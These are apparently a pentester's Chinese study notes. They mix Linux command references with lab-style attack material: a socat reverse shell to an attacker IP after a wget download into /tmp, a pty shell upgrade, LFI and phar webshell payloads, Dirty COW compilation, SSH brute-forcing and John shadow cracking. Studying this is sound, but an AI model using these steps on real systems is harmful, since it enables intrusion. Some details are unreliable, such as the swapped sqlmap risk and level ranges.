目录
- kali自带字典目录
- vim文本编辑器
- linux通过修改/etc/hosts文件 添加IP地址与域名的映射
- CVE-2013-3630——Moodle
- 在linux下如何本地开启端口
- Linux中查看进程状态信息命令:ps
- CVE-2018-7600——Drupal
- dirtycow脏牛提权
- Python SimpleHTTPServer:
- linux远程下载文件到本地
- GCC编译
- CVE-2016-10033——PHPmailer远程代码执行漏洞
- 111端口rpcbind漏洞
- python tty:终端控制功能
- python pty:伪终端工具
- chmod:提权
- 21端口:ftp
- ufw——简单防火墙
- CuppaCMS:远程任意代码执行漏洞
- LFI漏洞:本地文件包含
- sudo su和su的区别
- 端口碰撞(portknocking)
- Metasploit实战之-SSH暴力破解过程
- 解决john不能开多个进程/文件被锁定 的问题
- php中使用url传递数组的方法
- sqlmap用到的参数理解
- Linux tail 命令
kali自带字典目录
-
路径:/usr/share/wordlists
-
简介
-
dirb
big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名等
stress #压力测试
vulns #漏洞测试 -
dirbuster
apache-user-enum-** #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt #目录列表大,中,小 big,medium,small -
fern-wifi
common.txt #公共wifi账户密码 -
metasploit
… #各种类型的字典 -
webslayer
general #普通字典目录
admin-panels.txt #后台路径 字典
….Injections #注入字典目录
All_attack.txt #全部攻击
bad_chars.txt #字符注入
SQL.txt #sql注入
Traversal.txt #路径回溯
XML.txt #xml注入
XSS.txt #xxs注入others #扩展目录
common_pass.txt #通用密码字典
names.txt #用户名字典stress #压力测试目录
vulns #漏洞测试目录
apache、iis、cgis…webservicces #web服务目录
ws-dirs.txt #路径测试
ws-files.txt #文件测试wfuzz #模糊测试,各种字典…
-
vim文本编辑器
刚进入时为命令模式
- i 切换到输入模式,以输入字符。
- x 删除当前光标所在处的字符。
- : 切换到底线命令模式,以在最底一行输入命令。
底线命令模式
- q 退出程序
- w 保存文件
linux通过修改/etc/hosts文件 添加IP地址与域名的映射
vim /etc/hosts
- 按
I
插入,插入完成后按ESC
退出插入,输入:wq!
保存退出
CVE-2013-3630——Moodle
远程命令执行漏洞
Moodle允许经过身份验证的用户通过web界面定义拼写检查设置。用户可以更新拼写检查机制以指向安装了二进制文件的系统。通过将拼写检查器的路径更新为任意命令,攻击者可以运行拼写检查请求时web应用程序上下文中的任意命令。
此模块还允许攻击者利用另一个权限提升漏洞。使用引用的XSS vuln,一个未经授权的身份验证用户可以窃取一个管理员sesskey并使用它将权限升级为管理员权限,从而允许模块弹出一个shell作为以前未经授权的身份验证用户。
该模块已针对Moodle版本2.5.2和2.2.3进行了测试。
在linux下如何本地开启端口
-
查看哪些端口被打开:
netstat -anp
-
关闭端口号:
iptables -A INPUT -p tcp --drop 端口号-j DROP,iptables -A OUTPUT -p tcp --d port
-
打开端口号:
iptables -A INPUT -p tcp --dport 端口号 -j ACCEPT
-
查看是否打开22端口:
netstat -an| grep 22
-
lsof 查看端口占用语法格式:
lsof -i:端口号
-
在查到端口占用的进程后,如果你要杀掉对应的进程可以使用 kill 命令:
kill -9 PID
Linux中查看进程状态信息命令:ps
-
ps -ef |grep 加要查找进程的东西
:PS是LINUX下最常用的也是非常强大的进程查看命令
grep命令 是查找, 是一种强大的文本搜索工具,它能 搜索文本,并把匹 配的行打印出来。
grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。
PID //进程的ID PPID //父进程ID C //进程占用CPU的百分比 STIME //进程启动到现在的时间 TTY //该进程在那个终端上运行,若与终端无关,则显示? 若为pts/0等,则表示由网络连接主机进程。 CMD //命令的名称和参数```
-
ps aux
:用BSD的格式来显示同ps -ef 不同的有列有
%CPU //进程占用的CPU百分比 %MEM //占用内存的百分比 VSZ //该进程使用的虚拟內存量(KB) RSS //该进程占用的固定內存量(KB)(驻留中页的数量) STAT //进程的状态 START //该进程被触发启动时间 TIME //该进程实际使用CPU运行的时间```
CVE-2018-7600——Drupal
远程代码执行漏洞
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由**内容管理系统(CMS)和PHP开发框架(Framework)**共同构成
https://paper.seebug.org/567/
http://blog.nsfocus.net/cve-2018-7600-analysis/
Durpal 7版本2016年可以使用dirty(脏牛)进行提权
dirtycow脏牛提权
Durpal 7版本2016年可以使用dirty(脏牛)进行提权
https://blog.youkuaiyun.com/hbhgyu/article/details/106245182
Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏,可利用此漏洞非法获得读写权限,进而提升权限。
漏洞成因:写时复制的竞态条件
写时复制是一种允许不同进程中的虚拟内存映射到相同物理内存页面的技术
竞态条件是指一个系统或者进程的输出依赖于不受控制的事件出现顺序或者出现时机
Python SimpleHTTPServer:
python -m SimpleHTTPServer #python2中启动一个简单的http服务器
python -m http.server #python3中启动一个简单的http服务器
linux远程下载文件到本地
scp
Linux scp 命令用于 Linux 之间复制文件和目录。
Linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。
-
语法:
scp [可选参数] file_source file_target
-
参数说明:
- -1: 强制scp命令使用协议ssh1
- -2: 强制scp命令使用协议ssh2
- -4: 强制scp命令只使用IPv4寻址
- -6: 强制scp命令只使用IPv6寻址
- -B: 使用批处理模式(传输过程中不询问传输口令或短语)
- -C: 允许压缩。(将-C标志传递给ssh,从而打开压缩功能)
- -p:保留原文件的修改时间,访问时间和访问权限。
- -q: 不显示传输进度条。
- -r: 递归复制整个目录。
- -v:详细方式显示输出。scp和ssh(1)会显示出整个过程的调试信息。这些信息用于调试连接,验证和配置问题。
- -c cipher: 以cipher将数据传输进行加密,这个选项将直接传递给ssh。
- -F ssh_config: 指定一个替代的ssh配置文件,此参数直接传递给ssh。
- -i identity_file: 从指定文件中读取传输时使用的密钥文件,此参数直接传递给ssh。
- -l limit: 限定用户所能使用的带宽,以Kbit/s为单位。
- -o ssh_option: 如果习惯于使用ssh_config(5)中的参数传递方式,
- -P port:注意是大写的P, port是指定数据传输用到的端口号
- -S program: 指定加密传输时所使用的程序。此程序必须能够理解ssh(1)的选项。
1、从本地复制到远程
命令格式:
①scp local_file remote_username@remote_ip:remote_folder
Eg:scp /home/space/music/1.mp3 root@www.runoob.com:/home/root/others/music
②scp local_file remote_username@remote_ip:remote_file
Eg:scp /home/space/music/1.mp3 root@www.runoob.com:/home/root/others/music/001.mp3
第1,2个指定了用户名,命令执行后需要再输入密码,第1个仅指定了远程的目录,文件名字不变,第2个指定了文件名;
③scp local_file remote_ip:remote_folder
Eg:scp /home/space/music/1.mp3 www.runoob.com:/home/root/others/music
④scp local_file remote_ip:remote_file
Eg:scp /home/space/music/1.mp3 www.runoob.com:/home/root/others/music/001.mp3
第3,4个没有指定用户名,命令执行后需要输入用户名和密码,第3个仅指定了远程的目录,文件名字不变,第4个指定了文件名
复制目录命令格式:
①scp -r local_folder remote_username@remote_ip:remote_folder
Eg:scp -r /home/space/music/ root@www.runoob.com:/home/root/others/
//指定了用户名,命令执行后需要再输入密码;
②scp -r local_folder remote_ip:remote_folder
Eg:scp -r /home/space/music/ www.runoob.com:/home/root/others/
//没有指定用户名,命令执行后需要输入用户名和密码;
上面命令将本地 music 目录复制到远程 others 目录下。
2、从远程复制到本地
从远程复制到本地,只要将从本地复制到远程的命令的后2个参数调换顺序即可,如下实例
应用实例:
scp root@www.runoob.com:/home/root/others/music /home/space/music/1.mp3
scp -r www.runoob.com:/home/root/others/ /home/space/music/
说明
1.如果远程服务器防火墙有为scp命令设置了指定的端口,我们需要使用 -P 参数来设置命令的端口号,命令格式如下:
#scp 命令使用端口号 4588
scp -P 4588 remote@www.runoob.com:/usr/local/sin.sh /home/administrator
2.使用scp命令要确保使用的用户具有可读取远程服务器相应文件的权限,否则scp命令是无法起作用的。
ftp
-
连接ftp服务器
格式:ftp [hostname| ip-address]
a)在linux命令行下输入:ftp 192.168.26.66
b)服务器询问你用户名和口令,分别输入用户名和相应密码,待认证通过即可。 -
下载文件
- get:
格式:get [remote-file] [local-file]
将文件从远端主机中传送至本地主机中.
如要获取服务器上e:\rose\1.bmp,则
ftp> get /rose/1.bmp 1.bmp (回车)- mget:
格式:mget [remote-files]
从远端主机接收一批文件至本地主机.
如要获取服务器上e:\rose\下的所有文件,则
ftp> cd /rose
ftp> mget . (回车)
wget
1.命令格式:
wget [参数] [URL地址]
2.命令功能:
1)支持断点下传功能;这一点,也是网络蚂蚁和FlashGet当年最大的卖点,现在,Wget也可以使用此功能,那些网络不是太好的用户可以放心了;
2)同时支持FTP和HTTP下载方式;尽管现在大部分软件可以使用HTTP方式下载,但是,有些时候,仍然需要使用FTP方式下载软件;
3)支持代理服务器;对安全强度很高的系统而言,一般不会将自己的系统直接暴露在互联网上,所以,支持代理是下载软件必须有的功能;
3.命令参数:
启动参数:
-V, –version 显示wget的版本后退出
-h, –help 打印语法帮助
-b, –background 启动后转入后台执行
-e, –execute=COMMAND 执行`.wgetrc’格式的命令,wgetrc格式参见/etc/wgetrc或~/.wgetrc
记录和输入文件参数:
-o, –output-file=FILE 把记录写到FILE文件中
-a, –append-output=FILE 把记录追加到FILE文件中
-d, –debug 打印调试输出
-q, –quiet 安静模式(没有输出)
-v, –verbose 冗长模式(这是缺省设置)
-nv, –non-verbose 关掉冗长模式,但不是安静模式
-i, –input-file=FILE 下载在FILE文件中出现的URLs
-F, –force-html 把输入文件当作HTML格式文件对待
-B, –base=URL 将URL作为在-F -i参数指定的文件中出现的相对链接的前缀
–sslcertfile=FILE 可选客户端证书
–sslcertkey=KEYFILE 可选客户端证书的KEYFILE
–egd-file=FILE 指定EGD socket的文件名
下载参数:
–bind-address=ADDRESS 指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用)
-t, –tries=NUMBER 设定最大尝试链接次数(0 表示无限制).
-O –output-document=FILE 把文档写到FILE文件中
-nc, –no-clobber 不要覆盖存在的文件或使用.#前缀
-c, –continue 接着下载没下载完的文件
–progress=TYPE 设定进程条标记
-N, –timestamping 不要重新下载文件除非比本地文件新
-S, –server-response 打印服务器的回应
–spider 不下载任何东西
-T, –timeout=SECONDS 设定响应超时的秒数
-w, –wait=SECONDS 两次尝试之间间隔SECONDS秒
–waitretry=SECONDS 在重新链接之间等待1…SECONDS秒
–random-wait 在下载之间等待0…2*WAIT秒
-Y, –proxy=on/off 打开或关闭代理
-Q, –quota=NUMBER 设置下载的容量限制
–limit-rate=RATE 限定下载输率
目录参数:
-nd –no-directories 不创建目录
-x, –force-directories 强制创建目录
-nH, –no-host-directories 不创建主机目录
-P, –directory-prefix=PREFIX 将文件保存到目录 PREFIX/…
–cut-dirs=NUMBER 忽略 NUMBER层远程目录
HTTP 选项参数:
–http-user=USER 设定HTTP用户名为 USER.
–http-passwd=PASS 设定http密码为 PASS
-C, –cache=on/off 允许/不允许服务器端的数据缓存 (一般情况下允许)
-E, –html-extension 将所有text/html文档以.html扩展名保存
–ignore-length 忽略 `Content-Length’头域
–header=STRING 在headers中插入字符串 STRING
–proxy-user=USER 设定代理的用户名为 USER
–proxy-passwd=PASS 设定代理的密码为 PASS
–referer=URL 在HTTP请求中包含 `Referer: URL’头
-s, –save-headers 保存HTTP头到文件
-U, –user-agent=AGENT 设定代理的名称为 AGENT而不是 Wget/VERSION
–no-http-keep-alive 关闭 HTTP活动链接 (永远链接)
–cookies=off 不使用 cookies
–load-cookies=FILE 在开始会话前从文件 FILE中加载cookie
–save-cookies=FILE 在会话结束后将 cookies保存到 FILE文件中
FTP 选项参数:
-nr, –dont-remove-listing 不移走 `.listing’文件
-g, –glob=on/off 打开或关闭文件名的 globbing机制
–passive-ftp 使用被动传输模式 (缺省值).
–active-ftp 使用主动传输模式
–retr-symlinks 在递归的时候,将链接指向文件(而不是目录)
递归下载参数:
-r, –recursive 递归下载--慎用!
-l, –level=NUMBER 最大递归深度 (inf 或 0 代表无穷)
–delete-after 在现在完毕后局部删除文件
-k, –convert-links 转换非相对链接为相对链接
-K, –backup-converted 在转换文件X之前,将之备份为 X.orig
-m, –mirror 等价于 -r -N -l inf -nr
-p, –page-requisites 下载显示HTML文件的所有图片
递归下载中的包含和不包含(accept/reject):
-A, –accept=LIST 分号分隔的被接受扩展名的列表
-R, –reject=LIST 分号分隔的不被接受的扩展名的列表
-D, –domains=LIST 分号分隔的被接受域的列表
–exclude-domains=LIST 分号分隔的不被接受的域的列表
–follow-ftp 跟踪HTML文档中的FTP链接
–follow-tags=LIST 分号分隔的被跟踪的HTML标签的列表
-G, –ignore-tags=LIST 分号分隔的被忽略的HTML标签的列表
-H, –span-hosts 当递归时转到外部主机
-L, –relative 仅仅跟踪相对链接
-I, –include-directories=LIST 允许目录的列表
-X, –exclude-directories=LIST 不被包含目录的列表
-np, –no-parent 不要追溯到父目录
wget -S –spider url 不下载只显示过程
GCC编译
命令:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
\1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
\2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
\3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
\4. -std=c++11就是用按C++2011标准来编译的
\5. -pthread 在Linux中要用到多线程时,需要链接pthread库
\6. -o dcow gcc生成的目标文件,名字为dcow
执行gcc编译可执行文件,可直接提权。
CVE-2016-10033——PHPmailer远程代码执行漏洞
http://blog.nsfocus.net/phpmailer-vulnerability-analysis/
在PHPMailer 5.2.17以及之前版本中,存在着一个高危的任意文件写入漏洞,当攻击者将精心构造的恶意数据分别写入邮件内容以及发件人地址中并传递给使用了相应版本的PHPMailer web应用,就可以导致任意文件写入以及远程代码执行的攻击。
漏洞原理:mail函数的第五个参数,传命令参数的地方没有进行转义。由class.phpmailer.php没有正确处理用户的请求导致的
漏洞利用:漏洞利用的前提是目标站点的web应用必须使用phpmailer函数包,并开启邮件发送功能,这时攻击者可以将构造好的$address(及发送者地址)填入相应表单位置,然后将php指令填写到邮件内容中,如果web应用没有相应的过滤,则可以成功触发phpmailer,将php代码作为日志写入指定的文件中去。
111端口rpcbind漏洞
rpcbind是NFS中用来进行消息通知的服务。
使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。
python tty:终端控制功能
模块定义了将 tty 放入 cbreak 和 raw 模式的函数。
因为它需要 termios
模块,所以只能在 Unix 上运行。
tty 模块定义了以下函数:
-
tty.setraw
(fd, when=termios.TCSAFLUSH)将文件描述符 fd 的模式更改为 raw 。如果 when 被省略,则默认为
termios.TCSAFLUSH
,并传递给termios.tcsetattr()
。 -
tty.setcbreak
(fd, when=termios.TCSAFLUSH)将文件描述符 fd 的模式更改为 cbreak 。如果 when 被省略,则默认为
termios.TCSAFLUSH
,并传递给termios.tcsetattr()
。
python pty:伪终端工具
pty
模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。
由于伪终端处理高度依赖于具体平台,因此此功能只有针对 Linux 的代码。 (Linux 代码也可在其他平台上工作,但是未经测试。)
pty
模块定义了下列函数:
-
pty.fork
()分叉。 将子进程的控制终端连接到一个伪终端。 返回值为
(pid, fd)
。 请注意子进程获得 pid 0 而 fd 为 invalid。 父进程返回值为子进程的 pid 而 fd 为一个连接到子进程的控制终端(并同时连接到子进程的标准输入和输出)的文件描述符。 -
pty.openpty
()打开一个新的伪终端对,如果可能将使用
os.openpty()
,或是针对通用 Unix 系统的模拟代码。 返回一个文件描述符对(master, slave)
,分别表示主从两端。 -
pty.spawn(argv[, master_read[, stdin_read]])
生成一个进程,并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。 在 pty 背后生成的进程预期最后将被终止,而且当它被终止时 spawn 将会返回。 会向 master_read 和 stdin_read 函数传入一个文件描述符供它们读取,并且它们总是应当返回一个字节串。 为了强制 spawn 在子进程退出之前返回所以应当抛出
OSError
。 两个函数的默认实现在每次函数被调用时将读取并返回至多 1024 个字节。 会向 master_read 回调传入伪终端的主文件描述符以从子进程读取输出,而向 stdin_read 传入文件描述符 0 以从父进程的标准输入读取数据。 从两个回调返回空字节串会被解读为文件结束 (EOF) 条件,在此之后回调将不再被调用。 如果 stdin_read 发出 EOF 信号则控制终端就不能再与父进程或子进程进行通信。 除非子进程将不带任何输入就退出,否则随后 spawn 将一直循环下去。 如果 master_read 发出 EOF 信号则会有相同的行为结果(至少是在 Linux 上)。 如果两个回调都发出 EOF 信号则 spawn 可能将永不返回,除非在你的平台上当传入三个空列表时 select 会抛出一个错误。 这是一个程序缺陷,相关文档见 问题 26228。 从子进程中的os.waitpid()
返回退出状态值。 可以使用waitstatus_to_exitcode()
来将退出状态转换为退出码。 引发一个 审计事件pty.spawn
,附带参数argv
。 在 3.4 版更改:spawn()
现在会从子进程的os.waitpid()
返回状态值。
对方机器上有 python
python -c 'import pty; pty.spawn("/bin/bash")'
利用nc
$ python -c 'import pty; pty.spawn("/bin/bash")' //启用python交互式
# 把它丢到后台挂起
$ ctrl + z
# 重置stty,也就意味着你看不到输入的内容
$ stty raw -echo
# 把后台挂起的程序调回前台
$ fg
# 完全刷新终端屏幕
$ reset
# 接下来设置环境变量,根据第一步得到的环境变量来设置
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 行数 columns 列数
利用socat
攻击机
# 首先安装
$ sudo apt install socat
# 执行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444
目标机
# 把socat上传到目标机器上或者直接下载
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 运行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
利用script
我们可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim :$ script /dev/null
如果不加 /dev/null 的话,会在当前路径下生成一个名字是 typescript 的文件,记录着在 script 生命周期里你执行的所有命令和结果。
chmod:提权
命令:chmod 权限标识 file
经常使用到的提权命令还有chmod +x file
和chmod u+x file
,同样后面的权限也可以用数字标识,比如chmod +755 file,这种命令行表示给对应的用户或者用户组赋予权限
- chmod +x file等同于chmod a+x file代表给所有人赋予可执行权限
- chmod u+x file代表给用户赋予可执行权限
注:u(user)代表用户、g(group)代表用户组、o(others)代表其他人、a(all)代表所有人
八进制语法
chmod命令可以使用八进制数来指定权限。文件或目录的权限位是由9个权限位来控制,每三位为一组,它们分别是文件所有者(User)的读、写、执行,用户组(Group)的读、写、执行以及其它用户(Other)的读、写、执行。历史上,文件权限被放在一个比特掩码中,掩码中指定的比特位设为1,用来说明一个类具有相应的优先级。
# | 权限 | rwx | 二进制 |
---|---|---|---|
7 | 读 + 写 + 执行 | rwx | 111 |
6 | 读 + 写 | rw- | 110 |
5 | 读 + 执行 | r-x | 101 |
4 | 只读 | r– | 100 |
3 | 写 + 执行 | -wx | 011 |
2 | 只写 | -w- | 010 |
1 | 只执行 | –x | 001 |
0 | 无 | — | 000 |
例如, 765 将这样解释:
- 所有者的权限用数字表达:属主的那三个权限位的数字加起来的总和。如 rwx ,也就是 4+2+1 ,应该是 7。
- 用户组的权限用数字表达:属组的那个权限位数字的相加的总和。如 rw- ,也就是 4+2+0 ,应该是 6。
- 其它用户的权限数字表达:其它用户权限位的数字相加的总和。如 r-x ,也就是 4+0+1 ,应该是 5。
21端口:ftp
https://blog.youkuaiyun.com/qq_38526635/article/details/82146495
-
FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass -
常用命令
1、help、?、rhelp
①help显示LOCAL端(本地端)的命令说明,若不接受则显示所有可用命令;
②?,相当于help,例如:?cd;
③rhelp同help,只是它用来显示REMOTE端(远程端)的命令说明。
2、ascii、binary、Image、type
①ascii切换传输模式为文字模式;
②binary切换传输模式为二进制模式;
③image相当于binary;
④type用于更改或显示目前传输模式。
3、bye、quit
①bye退出FTP服务器;
②quit相当于bye。
4、cd、cdup、lcd、pwd、!
①cd改变当前工作目录;
②cdup回到上一层目录,相当于“cd…”;
③Icd用于更改或显示LOCAL端的工作目录;
④pwd显示目前的工作目录(REMOTE端);
⑤!,用于执行外壳命令,例如“!ls”。
5、delete、mdelete、rename
①delete删除REMOTE端的文件:
②mdelete批量删除文件;
③rename更改REMOTE端的文件名。
6、get、mget、put、mput、recv、send
①get下载文件;
②mget批量下载文件;
③put上传文件;
④mput批量上传文件;
⑤recv相当于get;
⑥send相当于put。
7、hash、verbose、status、bell
①hash当有数据传送时,显示#号,每一个#号表示传送了1024B或8192b;
②verbose切换所有文件传输过程的显示;
③status显示目前的一些参数;
④bell当指令做完时会发出叫声。
8、ls、dir、mls、mdir、mkdir、rmdir
①ls有点像Unix下的ls(list)命令;
②dir相当于“ls-l”;
③mls只是将远端某目录下的文件存于LOCAL端的某文件里;
④mdir相当于mls;
⑤mkdir像DOS下的md(创建了目录)一样;
⑥rmdir像DOS下的rd(删除了目录)一样。
9、open、close、disconnect、user
①open连接某个远端FTP服务器;
②close关闭目前的连接;
③disconnect相当于close;
④user再输入一次用户名和密码(有点像Linux下的su)。
ufw——简单防火墙
ufw(简单防火墙Uncomplicated FireWall)真正地简化了 iptables,它从出现的这几年,已经成为 Ubuntu 和 Debian 等系统上的默认防火墙。
检查防火墙的状态(默认 inactive) # ufw status
防火墙版本 # ufw version
启动ufw防火墙 # ufw enable
关闭ufw防火墙 # ufw disable
默认禁止访问所有 # ufw default deny
开放22/TCP端口 # ufw allow 22/tcp
开放53端口(tcp/udp) # ufw allow 53
禁止外部访问 # ufw deny 3306
删除已经添加过的规则 # ufw delete allow 22
允许此IP访问所有的本机端口 # ufw allow from 192.168.1.100
删除上面的规则 # ufw delete allow from 192.168.1.100
查看规则,显示行号 # ufw status numbered
删除第三条规则 # ufw delete 3
关闭ufw # ufw disable
禁止对8888端口的访问 # ufw deny 8888
打开来自192.168.0.1的tcp请求的22端口 # ufw allow proto tcp from 192.168.0.1 to any port 22
https://www.jb51.net/article/184257.htm
CuppaCMS:远程任意代码执行漏洞
CuppaCMS是一套内容管理系统(CMS)。CuppaCMS 2019-11-12之前版本存在安全漏洞,攻击者可利用该漏洞在图像扩展内上传恶意文件,通过使用文件管理器提供的重命名函数的自定义请求,可以将图像扩展修改为PHP,从而导致远程任意代码执行。
LFI漏洞:本地文件包含
LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。
-
主要涉及到的函数
include()、require()、include_once()、require_once()、magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、file_get_contents()、upload_tmp_dir()、post_max_size()、max_input_time() -
典型漏洞代码:
<!--?php include($_GET['pages'].‘.php’); ?-->
LFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本,对于下一步的LIF测试,都是一个很好的切入点,可以尝试通过操纵文件位置参数来利用它 -
利用
1.使用php://filter 协议和base64编码去访问本地文件得到源码
访问http://127.0.0.1/LFI.php?include=php://filter/read=convert.base64-encode/resource=func1.php
2.使用zip:// 协议去访问压缩文件中的文件
这就意味着可以直接绕过后缀名。
比如访问’http://127.0.0.1/LFI.php?include=zip://func1.jpg#func1.php’,其中fun1.jpg 是改了后缀的压缩文件。
3.使用phar://协议去读取服务器端的phar文件, 执行 phar 文件中的php 脚本或者其他。这需要事先本地创建一个phar文件再上传到目标站点。创建phar 文件代码, 其中phar 文件里只包含一个 createwebshell.php 文件。
<?php $phar = new Phar('webshell4.phar'); $phar->addFile('createwebshell.php', 'cws.php'); ?>
phar文件就相当于 java 里的jar 文件, 只不过phar 文件不可以用压缩文档打开, 可以用编辑器打开, 会发现phar 文件拥有特别的格式。
通过访问http://127.0.0.1/LFI.php?include=phar://webshell.phar/cws.php
可以执行cws脚本, 其中webshell.phar 的后缀可以随意更改以便绕过后缀检查。
参考文章:https://www.bugku.com/thread-19-1-1.html
sudo su和su的区别
su是申请切换root用户,需要申请root用户密码
sudo su是当前用户暂时申请root权限,所以输入的不是root用户密码,而是当前用户的密码。
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
它的特性主要有这样几点:
§ sudo能够限制用户只在某台主机上运行某些命令。
§ sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
§ sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
§ sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。
端口碰撞(portknocking)
-
端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
-
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
-
如何进行端口碰撞?
首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小~
- 第一种方法:knock 命令
Linux 上可以使用如下命令安装 knock 工具:
sudo apt install knockd
使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞
目标IP
的3,4,7,8
端口:knock 目标IP 3 4 7 8 -v
- 第二种方法:nmap 命令
使用 Nmap 按次序指定端口扫描即可,参考:
nmap <目标IP> -Pn -p 端口号
-
第三种方法:python脚本
python -c 'import itertools; print list(itertools.permutations([1,2,3]))' | sed 's/), /\n/g' | tr -cd '0-9,\n' | sort | uniq > permutation.txt
参考:https://www.cnblogs.com/jannock/archive/2008/07/14/1242148.html
参考:https://zhuanlan.zhihu.com/p/210177505
Metasploit实战之-SSH暴力破解过程
若有用户名和密码字典的话,使用auxiliary/scanner/ssh/ssh_login
模块
若不知道,使用auxiliary/scanner/ssh/ssh_enumusers
模块先探测用户名是否存在
参考:https://blog.youkuaiyun.com/huweiliyi/article/details/105590291
补充:-t 选项是表示强制伪终端分配
解决john不能开多个进程/文件被锁定 的问题
在使用john进行shadow文件破解时,如果已经开了一个john的进程,这回提示以下错误:
Crash recovery file is locked: /root/.john/john.rec
意思是/root/.john/john.rec
文件被锁定。
通过测试只要把 /root/.john/john.rec
这个文件删除就不会报错了。
所以可以通过 watch rm -rf /root/.john/john.rec
命令。每两秒删除一次这个文件。
再开多个进程进行shadow文件批量破解即可。建议一次不要开太多。
php中使用url传递数组的方法
不知道后端源代码是什么,但可以确定数组可以绕过。这里直接将pass改为pass[]就可以成功登录了
数组绕过,主要原理就是false=false(null=null)。
PHP中若使用ereg
(只能处理字符),而这里是数组,所以返回的是null,三个等号的时候不会进行类型转换。所以null不等于false。比如出现以下代码
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
数组绕过主要出现在以下地方
md5(array()) = null sha1(array()) = null ereg(pattern,array()) = null vs preg_match(pattern,array) = false strcmp(array(), "abc") = null strpos(array(),"abc") = null
sqlmap用到的参数理解
-r +文件名
:可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。
--sql-file=SQLFILE
: 执行一个给定文件中的sql语句
--risk
:用于指定检测级别,有 1~5 共 5 级。默认为1,表示做最少的检测,相应的,5 级表示 做最多的检测。
--level
:有 1~3 共 3 级。
- 默认风险等级为 1,此等级在大多数情况下对测试目标无害。
- 风险等级 2 添加了基于时间的注入测试
- 等级 3 添加了 OR 测试,若注入点为 update 会对数据库进行改变,因此存在很大风险。
--dump
:查询指定范围的全部数据
--batch
:批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--thread=线程数
:设置同时发送多个请求的多线程( 0 ~ 10 )。
Linux tail 命令
tail 命令可用于查看文件的内容(包括图片文件)
tail [参数] [文件]
参数:
- -f 循环读取,常用于查阅正在改变的日志文件。
- -q 不显示处理信息
- -v 显示详细的处理信息
- -c<数目> 显示的字节数
- -n<行数> 显示文件的尾部 n 行内容
- –pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
- -q, --quiet, --silent 从不输出给出文件名的首部
- -s, --sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒